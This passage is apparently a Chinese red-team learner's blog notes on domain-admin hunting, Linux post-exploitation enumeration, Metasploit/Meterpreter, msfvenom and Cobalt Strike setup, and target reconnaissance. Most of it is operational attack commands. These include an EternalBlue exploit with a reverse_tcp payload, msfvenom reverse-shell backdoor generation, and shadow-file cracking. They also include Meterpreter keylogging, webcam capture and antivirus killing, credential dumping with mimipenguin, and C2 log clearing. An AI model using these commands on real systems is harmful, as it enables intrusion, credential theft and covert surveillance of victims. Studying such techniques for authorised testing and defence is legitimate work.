    - Powershell.exe -exec bypass -command "& {import-module C:\Users\zhiqiu\Desktop\定位域管理员工具\powerview.ps1;invoke-UserHunter}"

    下载地址: https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView

  • Empire中的user_hunter模块

    1
    2
    3
    4
    5
    获取反弹shell
    使用命令
    usemodule situational_awareness/network/powerview/user_hunter
    可查看域用户登陆信息
    PS:本地测试一直没有回显出来,留个坑后续填

    下载地址: https://github.com/EmpireProject/Empire

    下载地址:https://github.com/interference-security/empire-web.git (web版)

  • Nmap的 NSE脚本

查找域管理进程

权限的提升,通常使用收集明文凭据活mimikatz(kiwi)获取明文密码;在获取了域管理员权限的系统进行域管理员登录进程的收集,进而获取到凭据

若内网复杂难以获得域管理权限,一般使用方法是,在跳板机之间不断跳转,直至获得权限:首先需要获得一台机器的本地管理员权限,进而对本机的登录用户信息进行分析,若发现获得权限的登录用户都不是域管理组的用户,且域管理组的用户没有登录过这台服务器,那么此时我们就放弃对这台机子的渗透,转而使用其他的账户,重复上述,直至获得

本机检查

  1. 获取域管理员列表

    1
    net group "Domain Admins" /domain
  2. 列出所有进程以及用户

    1
    tasklist /v
  3. 寻找winlogon.exe,也就是登录进程,理想状态下,找到就可以开始收集凭据,但是一般都是事与愿违

查询域控制器的域用户会话

域用户会话与域管理员列表交叉引用,其实也就是求并集,并集若存在,那么算是找到了

  1. 查询域控制器列表

    1
    net group "Domain Controllers" /domain
  2. 收集域管理员列表

    1
    net group "Domain Admins" /domain
  3. 收集所有的会话列表

    1
    NetSess -h
  4. 交叉引用管理员列表与会话列表

    1
    2
    3
    使用脚本实现
    GDA批处理脚本
    GDA.bat下载地址 https://github.com/nullbind/Other-Projects/tree/master/GDA

查询远程系统中运行的任务

  1. 从Domain Admins组中收集域管理员列表

    1
    net group "Domain Admins" /domain
  2. 运行ps脚本(用人说不怎么灵)

    1
    FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause

扫描远程系统的NetBios

什么是NB:NetBIOS,为网络基本输入输出系统的缩写,它提供了OSI模型中的会话层服务,让在不同电脑上运行的不同程序,可以在局域网中,互相连线,以及分享资料。不是协议而是借接口

1
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

利用ps来收集信息

WMI是什么?WMI是一项核心的Windows管理技术,WMI作为一种规范和基础结构,通过它可以访问、配置、管理和监视几乎所有的Windows资源;**WMI在渗透测试中的价值在于它不需要下载和安装, 因为WMI是Windows系统自带功能,不会留下任何痕迹

PowerView.ps1下载地址 https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1

域分析工具 BLOODHOUND

使用BloodHound,可以快速、深人地了解活动目录中用户之间的关系,获取哪些用户具有管理员权限、哪些用户对所有的计算机都具有管理员权限、哪些用户是有效的用户组成员等信息。简而言之,可以加速查找域管理进程的过程

要在本地搭建,windows有点麻烦,我选择kali虚拟机,wsl没成功,说是java问题喔

太慢了吧也!下载好了,是我网卡,对不起

配置还是比较简单,跟着教程来就好

装好后,还没有使用,因为还没有搭建环境,也没有遇到环境,可能接下来几天会遇到,前提是windows下的

1
2
3
4
5
6
kali安装
sudo apt-get install bloodhound
启动数据库
sudo neo4j console
启动bloodhound
bloodhound #直接访问端口也ok

主要来说就是你还是需要获取三类信息给它本身:

  • 哪些用户登录了哪些机器?
  • 哪些用户拥有管理员权限?
  • 哪些用户和组属于哪些组?

BloodHound需要的这三条信息依赖于PowerView.ps1脚本

BloodHound 分为两部分,一是PowerShell采集器脚本( 有两个版本,旧版本叫作BloodHound_ Old.ps1, 新版本叫作SharpHound.ps1 ),二是可执行文件SharpHound.exe。在大多数情况下,收集此信息不需要系统管理员权限。

下载到我的内网文件夹了,但是需要你上传上去,当然这都是小事

上传exe到目标机器,ps运行程序,等待,会有一压缩包生成在当前exe目录,通过cs下载到bloodhound机器,bh支持通过界面上传单个文件和ZIP文件,最简单的方法是将压缩文件放到界面上节点信息选项卡以外的任意位置。文件上传后,即可查看内网的相关信息。

判断机器是否出网

icmp协议

tcp协议:nc -zv ip port

http协议:curl

DNS协议:nslookup domain vps-ip 或者 dig

参考

1
2
3
4
5
6
7
8
9
https://www.cnblogs.com/21r000/p/15612307.html
https://forum.butian.net/share/236
https://blog.csdn.net/sycamorelg/article/details/118727901https://m.freebuf.com/articles/network/318148.html
https://m.freebuf.com/articles/network/318148.html
https://timeshu.github.io/2020/02/08/%E5%9F%9F%E7%AE%A1%E7%90%86%E5%91%98%E5%AE%9A%E4%BD%8D%E5%B7%A5%E5%85%B7/
https://blog.csdn.net/weixin_39885690/article/details/110806869
WMI:https://www.cnblogs.com/-qing-/p/10661480.html
https://blog.csdn.net/qq_48904485/article/details/124403996
https://blog.csdn.net/Alexhcf/article/details/113030110

Linux

获取内核,操作系统和设备信息

命令 作用
uname -a 打印所有可用的系统信息
uname -r 内核版本信息
uname -n 系统主机名字
hostname 主机名
uname -m Linux 内核架构(x86/x64)
cat /proc/version 内核信息
cat /etc/*-release 发布信息
cat /etc/issue 发布信息
cat /proc/cpuinfo CPU 信息
df -a 文件系统信息

用户和组

命令 作用
cat /etc/passwd 列出系统所有用户
cat /etc/group 列出系统所有组
cat /etc/shadow 列出所有用户 hash(需要 root 权限)
finger、finger user 当前登录的用户、查询用户的基本信息
users 当前登录的用户
who -a 当前登录的用户
w 显示目前登入系统的用户有那些人,以及他们正在执行的程序
last 显示登入过的用户信息
lastlog 显示系统中所有用户最近一次登录信息
lastlog –u %username% 显示指定用户最后一次登入信息

用户和权限信息

命令 作用
whoami 当前用户
id 当前用户信息
cat /etc/sudoers 可以使用 sudo 提升到 root 的用户(需要 root 权限)
sudo 允许普通用户执行一些或者全部的 root 命令的一个工具
sudo -l 列出目前用户可执行与无法执行的指令
su 切换当前用户身份到其他用户身份

环境信息

命令 作用
env 打印系统环境信息
set 打印系统环境信息
echo $PATH 环境变量中的路径信息
history 打印历史命令
pwd 显示当前路径
cat /etc/profile 显示默认系统遍历
cat /etc/shells 显示可用的 shell

有用的命令

命令 作用
find / -perm -4000 -type f 查找 SUID 的文件
find / -uid 0 -perm -4000 -type f 查找 root 权限的 SUID 文件
find / -perm -2 -type f 找出可写的文件
find / ! -path “/proc/“ -perm -2 -type f -print 查找 /proc 以外的可写文件
find / -perm -2 -type d 找出可写目录
find /home –name *.rhosts -print 查找 rhosts 的配置文件
find /home -iname *.plan -exec ls -la {} ; -exec cat {} 查询文件并打印
ls -ahlR /root/ 查看是否有权限列用户目录
cat ~/.bash_history 查看当前用户的历史记录
ls -la ~/.*_history 查看当前用户的各种历史记录
ls -la ~/.ssh/ 查看用户 ssh 登录信息
ls -la /usr/sbin/in.* 检查 inetd 服务的配置
grep -l -i pass /var/log/*.log 查询包含 pass 的日志并打印匹配到的行
ls -la /etc/*.conf 列出 /etc/ 下的所有配置文件
lsof -i -n 列出打开的文件
head /var/mail/root 答应 /var/mail/root 的开头

服务信息

命令 作用
ps aux 查看进程信息
cat /etc/inetd.conf 由 inetd 管理的服务列表
cat /etc/xinetd.conf 由 xinetd 管理的服务列表
cat /etc/exports nfs 服务器的配置

作业和任务

命令 作用
crontab -l -u %username% 显示指定用户的计划作业(需要 root 权限)
ls -la /etc/cron* 计划任务
top 列出当前进程

网络、路由和通信

命令 作用
/sbin/ifconfig -a 列出网络接口信息
cat /etc/network/interfaces 列出网络接口信息
arp -a 查看系统 arp 表
route 打印如有信息
cat /etc/resolv.conf 查看 dns 配置信息
netstat -an 打印本地端口开放信息
iptables -L 列出 iptable 的配置规则
cat /etc/services 查看端口服务映射

软件信息

命令 作用
dpkg -l 软件安装(Debian)
rpm -qa 软件安装(Red Hat)
sudo -V 查看 sudo 的版本信息
httpd -v 查看 apache 的版本信息
apache2 -v 查看 apache 的版本信息
apache2ctl (or apachectl) -M 列出加载的 apache 模块
mysql —version mysql 的版本信息
psql -V Postgres 数据库的版本信息
perl -v perl 的版本信息
java -version java 的版本信息
python —version python 的版本信息
ruby -v ruby 的版本信息
find / -name %program_name% 查找有用的软件
which %program_name% 查找有用的软件
cat /etc/apache2/envvars 查看运行 apache 的帐号
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
再备份一个其他版本的
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载mimikatz
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e: #搜索E盘中所有以.jsp为后缀的文件
download e: est.txt /root #将目标机的e: est.txt文件下载到/root目录下
upload /root/test.txt d: est #将/root/test.txt上传到目标机的 d: est 目录下
getpid #查看当前Meterpreter Shell的进程PID
migrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav/run post/windows/manage/killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库

uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标
uictl disable mouse #禁用鼠标
uictl disable keyboard #禁用键盘

POST后渗透模块
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run windows/gather/smart_hashdump #dump出所有用户的hash
参考:http://t.zoukankan.com/qi-yuan-p-13782842.html

linux搜集流程参考

来源:江苏智慧安全可信技术研究院

前期

啥也不知道,就知道一个目标

1
2
3
4
5
6
7
nmap
蛮多用法,找个参考手册
masscan
Masscan 127.0.0.0/24 -p443 # 单端口扫描
Masscan 127.0.0.0/24 --top-ports 100 -rate 100000 # 快速扫描
Masscan 127.0.0.0/24 --top-ports 100 --excludefile exclude.txt # 排除指定目标
masscan 127.0.0.0/24 -p20,21,22,23,80,161,443,873,2181,3389,6379,7001,8000,8009,8080,9000,9009,9090,9200,9300,10000,50070 > results.txt

中期

已获得低权限机器控制权

1
2
3
4
5
6
7
8
9
10
摸清系统版本
hostname # 查看服务器主机名命令
uname -a
回显
-Linux kali 5.14.0-kali4-amd64 #1 SMP Debian 5.14.16-1kali1 (2021-11-05) x86_64 GNU/Linux
查看内核版本
uname -mrs
rpm -q kernel (这个说我的kernel包没安装。。。)
dmesg | grep Linux
ls /boot | grep vmlinuz-

获得内核版本后,即可去搜索是否该版本下存在漏洞,比如

1
searchsploit -w 系统版本

若该版本不存在漏洞,则找系统信息为主,查看用户信息

1
2
3
4
id
whoami
groups
who

比如suid文件或者sudo提权(DC靶场都有记录:suid文件这个稍微绕一点,通俗来说,它允许用户使用者以文件所有者的权限来执行文件;sudo提权也就是其他用户通过sudo短暂获取root的某个命令权限,比如sudo vi然后执行:!/bin/bash,皆可获得root权限的shell)

补充:已知的可以用来提权的Linux可执行文件有:
CopyNmap、Vim、find、Bash、More、Less、Nano、cp

1
2
3
查找find命令,实在太多参数了,用到再查
查找SUID文件
find / -perm -u=s 2>/dev/null

查看当前用户执行哪些 sudo 命令无需密码

1
sudo -l

提权方案: https://gtfobins.github.io/

牛的,这个网站

开机启动项作为比较关键的点,无论是红方还是蓝方都不会放过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
chkconfig                   # 查看开机启动服务命令
ls /etc/init.d # 查看开机启动配置文件命令
cat /etc/rc.local # 查看 rc 启动文件
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

后期

成功提权,进行信息收集,寻找横向渗透机会

1
2
3
4
查看进程,推测机器作用
ps -aux # 列出所有进程以及相关信息命令
ps -ef
top # 总览系统全面信息命令,Ctrl + C 退出界面
1
2
3
4
5
6
7
安装了哪些程序?什么版本?是否正在运行?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
1
2
3
4
5
6
7
8
9
10
11
12
在查看一些常见的服务配置文件
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
emm,反正我没有这些服务,都记录下来吧

查看文件日志:如果时间充足,看一看日志文件也是很好的选择,这里就不多阐述,在之后的蓝队篇中会介绍。作为最高权限用户,shadow文件不可不看,万一跑出几个密码,横向渗透的成功率就会大大提高,将passwd和shadow文件下载到kali中进行unshadow,随后john爆破hash

1
2
3
mkdir /root/.john
cd /root/.john
unshadow passwd.txt shadow.txt > hash.txt
1
2
3
4
5
6
7
8
9
除了shadow意外也可以看一看其他敏感文件,比如数据库的配置、历史记录等
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
1
2
邮件也是一个关键点,某些场景下,可以发现非常敏感的信息。
ls -alh /var/mail/
1
2
3
4
5
6
除了本机器上的信息还要为拿下内网的其他机器做准备,摸清网络拓扑是必须的。
route
ip route # 显示核心路由表
ip neigh # 显示邻居表
cat /etc/resolv.conf # 查看DNS
arp -e

以上流程只有实践才可更深层次掌握。

参考链接

1
https://www.xazlsec.com/index.php/archives/146/

msf、empire等工具简单用法

上述工具都有接触,我也算是刚刚入门,真正接触信安红队知识也是在2021年的10月左右,希望加把劲,冲起来。

msf

metasploit下针对linux的信息收集一件模块

post模块,牛的来

检查虚拟机配置

image-20220224214259704

枚举配置

该enum_configs上普遍安装的应用程序和服务,如Apache,MySQL和桑巴,Sendmail的,等发现模块收集配置文件如果在默认路径中找到一个配置文件,该模块将认为是我们想要的文件。

image-20220224214351122

枚举网络

所述enum_network从目标系统模块枚举网络信息的防火墙规则,接口,无线信息,打开和监听端口,活动的网络连接,DNS信息和SSH信息。

image-20220224214434925

枚举保护

该enum_protections模块试图找到某些安装的应用程序,可用于防止,或发现我们的攻击,这是通过查找特定的二进制文件,看看他们是否确实可执行文件。例如,如果我们能够将 ‘snort’ 作为命令运行,我们假设它是我们正在寻找的文件之一。该模块旨在涵盖各种防病毒、rootkit、IDS/IPS、防火墙和其他软件。

image-20220224214527410

枚举系统

该enum_system模块收集系统信息。它收集已安装的包、已安装的服务、挂载信息、用户列表、用户 bash 历史记录和 cron 作业

image-20220224214725647

用户具体信息HISTORY

该enum_users_history模块收集用户的具体信息。用户列表、bash 历史、mysql 历史、vim 历史、lastlog 和 sudoers。

image-20220224214748716

mimipenguin

linux下抓取登录用户密码

windows下有Mimikatz,现在linux下有了mimipenguin

1
2
3
git clone https://github.com/huntergregal/mimipenguin.git
cd mimipenguin
./mimipenguin.sh

很奇怪,我没抓出来我自己的密码哈哈,可能超过版本了,这个说是通过了kali的4.3.0,我都5.1多了,不想解决先

CS

cs基础:配置teamserver

哦豁,这个我很需要

先从基础的来,插播一个后门生成的工具哈哈哈,我不知道该放去哪里,反正可以和cs联动,那就放在这里吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
进入msf: 
msfconsolesearch
命令查找模块:
search ms17-010use
进入模块:
use exploit/windows/smb/ms17_010_eternalblue (search以后use 0)
模块详细信息查看:
use了以后info,没use 之前 info exploit/windows/smb/ms17_010_eternalblue
设置攻击载荷:
set payload windows/x64/meterpreter/reverse_tcp
查看模块需要的参数:
options
设置参数:
set lhost 0.0.0.0(参数名似乎不区分大小写)
攻击:
run / exploit 都可以meterpreter后渗透阶段

msf生成后门,不一定要用cs的生成,但是谁又能拒绝一个自动化生成后门呢

1
2
3
4
5
6
7
8
9
10
11
12
msfvenom
-a 系统架构
--platform 系统平台
-p 有效载荷
lhost=攻击机IP
lport=攻击机端口
-e 编码方式
-i 编码次数
-f 输出格式
-o 输出文件
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888-i 3-e x86/shikata_ga_nai -f exe -o payload.exe
一般来说 -a可以不用,--platform也可以不用

一些命令

1
2
3
4
5
6
查看msfvenom支持的系统 msfvenom -l archs
查看支持的系统平台:msfvenom -l plantforms
列出payloads:msfvenom -l payloads
列出所有的输出格式:msfvenom -l formats
列出所有的加密方式:msfvenom -l encrypt
列出所有的编码器:msfvenom -l encoders

常见生成格式

1
2
3
4
5
6
7
windows:
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3-ex86/shikata_ga_nai -f exe -o payload.exe

linux
msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf
........好多啊,可恶!
不写了,下次直接看网址。。

进入正题,CS!

不懂我的虚拟机怎么又被重置了,烦死了。。。又要重新装,装好了,哈哈,直接就是chmod 777 teamserver就好,再./teamserver 服务器ip 密码

cs文件介绍

1
2
3
4
5
6
7
agscript:扩展应⽤的脚本 
c2lint:⽤于检查profile的错误和异常
teamserver:服务器端启动程序,需要给权限777
cobaltstrike.jar:CobaltStrike核⼼程序
cobaltstrike.auth:⽤于客户端和服务器端认证的⽂件,客户端和服务端有⼀个⼀模⼀样的
cobaltstrike.store:秘钥证书存放⽂件
客户端基本只需cobaltstrike.jar,cobaltstrike.auth,cobaltstrike.store这几个文件。//但是我一般都全部导进去的,随便啦

目录

1
2
3
4
5
我是没找到。。g
data:⽤于保存当前TeamServer的⼀些数据
download:⽤于存放在⽬标机器下载的数据
upload:上传⽂件的⽬录 logs:⽇志⽂件,包括Web⽇志、Beacon⽇志、截图⽇志、下载⽇志、键盘记录⽇志等
third-party:第三⽅⼯具⽬录

cs清除日志

1
2
3
4
5
6
7
这个我倒是有,但是我真的很少用,我也没配置我的云服务器,很难受
logs文件打包备份以后删除原文件夹。

删除 ~/.aggressor.prop 文件里的内容。
CS监听器和插件
主要记录监听器的各种payload和选项
加载插件时候的各种需要注意的问题

image-20220225195507337

类似于cs的一些基本操作,cs都有文档的,这里就当作背诵记录一下

image-20220225200445412

最基本的就是创建监听器

1
2
3
4
监听器-> listeners
CobaltStrike的内置监听器为Beacon,外置监听器为Foreign。CobaltStrike的Beacon支持异步通信和交互式通信。
创建监听器的方式:
Cobalt_Strike->Listeners->add
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
详细版
listener
name:为监听器名字,可任意
payload:payload类型,建议HTTPS流量加密HTTP
Hosts: shell反弹的主机,测试中也可以填CDN节点,我一般拿自己的kali,有点蠢
HTTP Hosts(Stager): Stager的⻢请求下载payload的地址,默认也是shell反弹的主机地址
HTTP Port(C2): C2监听的端⼝ 可以任意指定Host Rotation Strategy先不管

内部的Listener
Beacon DNS Beacon HTTP Beacon HTTPS Beacon TCP Beacon SMB

外部的Listener
Foreign HTTP Foreign HTTPS
External
External C2
Beacon为内置的Listener,即在⽬标主机执⾏相应的payload,获取shell到CS上;其中包含DNS、HTTP、 HTTPS、SMB。

加载本地插件.cna

1
2
3
4
emm就是汉化版就很nice
本地加载
Script Manager -> Load
插件的使用就是有shell弹回来以后右键使用。

服务端加载

1
2
3
4
5
加载方法:
CobaltStrike服务器端有个 agscript⽂件,他是⽤来在服务器端运⾏cna插件⽂件的。
agscript用法
在服务端执行如下命令(避免与teamserver运行的产生的nohup.out冲突)
nohup ./agscript cs的ip cs的端口 任意用户名 password 插件路径 >> nohup1.out &

image-20220225204514198

关于我华为云服务器终于安装好外网teamserver!

centos8全线崩溃,说是不提供服务了喔,然后我又找了一些办法, 结果直接整到镜像损坏,无奈只好重装一个centos7.6的,不错子,完美,按照下面教程就好,最好再装一个mobaXterm,可以直接传文件,good!

CentOS 7.6 搭建 cobalt strike 教程_king 丶 - 程序员秘密_centos 安装 cobaltstrike - 程序员秘密 (cxymm.net)

搞了个后台在线,不错子

image-20220225224601633

image-20220225224757032

可以继续往下走了

对于受害机器的操作

这里太抽象啦,等我打一下

Empire

安装遇到最大的问题就是python的依赖问题,kali里面环境有点复杂,我出来wsl装,目前还没有安装成功,现在最接近的一步是

1
2
3
python2 ./empire 
然后回显,缺少 flask,但是怎么重装flask都是不,我真的会谢
所以现在就是没办法,这个是基于 python2的依赖

不装也罢!

参考链接

1
2
3
https://mp.weixin.qq.com/s/0-UpfCvUVzXZkTAEHHrdhQ  -msf
https://mp.weixin.qq.com/s/TDN01K0-ctKpVt_LkjJiaA -mimipenguin
https://www.cnblogs.com/wszme/p/10045530.html

信息收集

这里是顺带提一嘴的,其实对于现在的我来说,这些东西真的已然知晓,但还没有真正对一企业进行渗透测试,所以信息收集流程还是需要记忆一下,不然等下只知道开扫,不懂哪里入手

被动信息搜集:IP地址段 、域名信息 、邮件地址 、文档图片数据 、公司地址 、公司组织架构 、联系电话 / 传真号码 、人员姓名 / 职务 、目标系统使用的技术架构 、公开的商业信息,是不与目标直接交互 , 通过公开渠道可获得的可用的信息。

对象

1
2
3
4
5
首先收集企业资产:fofa shadon 天眼查看名下资产再去fofa
网站 :源码 robots文件 后台登录
服务器 :IP地址 服务器操作系统类型和版本 端口开放情况
管理员 :个人信息 手机号 社交账号 常用密码 敏感数字,生成社工字典去爆破,可以尝试
社工

网站操作类型识别

1
2
3
windows :不区分大小写
Linux :区分大小写
这个我倒是知道,但是容易忘,等于不知道

网站指纹识别工具

1
2
3
4
5
6
7
8
9
10
这个我的edge收藏夹就有很多,但是都是很零碎,顶多按照顺序分类了一些
-御剑指纹识别(这个emm,还是用wappalyzer插件好,还要导入特征文件,烦┗|`O′|┛ 嗷~~)
-云悉在线指纹识别(这个我忘了要不要邀请码)
-kali——whatweb
-浏览器插件——Wappalyzer(这个很棒喔)
-Finger-main
综合工具
-Site-scan
-Suture_Box
-ShuiZe

image-20220223232222333

目录扫描 / 敏感文件扫描

目前来说,爆破目录我没有出什么东西,全都是靠扫描器进行目录爆破,我用xray

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
这个有个7kbscan,号称扫天扫地的存在,感觉emm一言难尽,还得看计算机性能,凡是要我自己找特征文件的扫描器不是好的扫描器
搜索网站目录下面的敏感文件 间接识别网站使用的框架或者内容管理系统
工具 :
御剑指纹识别
谷歌黑客语法
site:检索与指定网站有联系的所有已收录的网页(打完整万维网的格式)
inurl:检索含有指定内容的URL。
intext:限制搜索的页面中必须存在的内容
intitle:检索含有指定标题内容的网页
filetype:限制搜索的文件类型
link:""可以得到一个所有包含了某个指定 URL 的页面列表
其实这个语法我还是不是很会用哈哈
查找后台地址:site: 域名 inurl:login|admin|manage|member|admin_login|login_admin|system|login|user|main|cms
查找文本内容:site: 域名 intext: 管理 | 后台 | 登陆 | 用户名 | 密码 | 验证码 | 系统 | 帐号 | admin|login|sys|managetem|password|username
查找可注入点:site: 域名 inurl:aspx|jsp|php|asp
查找上传漏洞:site: 域名 inurl:file|load|editor|Files
找 eweb 编辑器:site: 域名 inurl:ewebeditor|editor|uploadfile|eweb|edit
存在的数据库:site: 域名 filetype:mdb|asp|#
查看脚本类型:site: 域名 filetype:asp/aspx/php/jsp
迂回策略入侵:inurl:cms/data/templates/images/index/

作者:傻傻笨笨宝宝
链接:https://www.jianshu.com/p/83b2fdf71e4c
来源:简书

IP 查询

1
2
找真正的ip,可以命令:ping nslookup使用全国ping,去规避cdn
工具:站长之家 ip138

whois 查询

1
2
3
4
站长工具
ip138
中国万网
爱站网

子域名查询

1
2
3
7kbscan:web路径暴力探测工具
查询方式:枚举(暴力破解)
工具:子域名挖掘机

端口扫描

1
2
3
4
nmap
masscan
御剑端口扫描
shell命令、python脚本

常见端口

1
https://www.cnblogs.com/bmjoker/p/8833316.html
21 ftp/tftp/vsftpd 文件传输协议 爆破 / 嗅探 / 溢出 / 后门
22 ssh 远程连接 爆破 /openssh 漏洞
23 Telnet 远程连接 爆破 / 嗅探 / 弱口令
25 SMTP 邮件服务 邮件伪造
53 DNS 域名解析系统 域传送 / 劫持 / 缓存投毒 / 欺骗
67/68 dhcp 服务 劫持 / 欺骗
110 pop3 爆破 / 嗅探
139 Samba 服务 爆破 / 未授权访问 / 远程命令执行
143 Imap 协议 爆破
161 SNMP 协议 爆破 / 搜集目标内网信息
389 Ldap 目录访问协议 注入 / 未授权访问 / 弱口令
445 smb ms17-010 / 端口溢出
512/513/514 Linux Rexec 服务 爆破 / Rlogin 登陆
873 Rsync 服务 文件上传 / 未授权访问
1080 socket 爆破
1352 Lotus domino 邮件服务 爆破 / 信息泄漏
1433 mssql 爆破 / 注入 / SA 弱口令
1521 oracle 爆破 / 注入 / TNS 爆破 / 反弹 shell
2049 Nfs 服务 配置不当
2181 zookeeper 服务 未授权访问
2375 docker remote api 未授权访问
3306 mysql 爆破 / 注入
3389 Rdp 远程桌面链接 爆破 /shift 后门
4848 GlassFish 控制台 爆破 / 认证绕过
5000 sybase/DB2 数据库 爆破 / 注入 / 提权
5432 postgresql 爆破 / 注入 / 缓冲区溢出
5632 pcanywhere 服务 抓密码 / 代码执行
5900 vnc 爆破 / 认证绕过
6379 Redis 数据库 未授权访问 / 爆破
7001/7002 weblogic java 反序列化 / 控制台弱口令
80/443 http/https web 应用漏洞 / 心脏滴血
8069 zabbix 服务 远程命令执行 / 注入
8161 activemq 弱口令 / 写文件
8080/8089 Jboss/Tomcat/Resin 爆破 / PUT 文件上传 / 反序列化
8083/8086 influxDB 未授权访问
9000 fastcgi 远程命令执行
9090 Websphere 控制台 爆破 /java 反序列化 / 弱口令
9200/9300 elasticsearch 远程代码执行
11211 memcached 未授权访问
27017/27018 mongodb 未授权访问 / 爆破

本博客所有文章除特别声明外,均采用CC BY-SA 4.0 协议 ,转载请注明出处!

...

...

00:00
00:00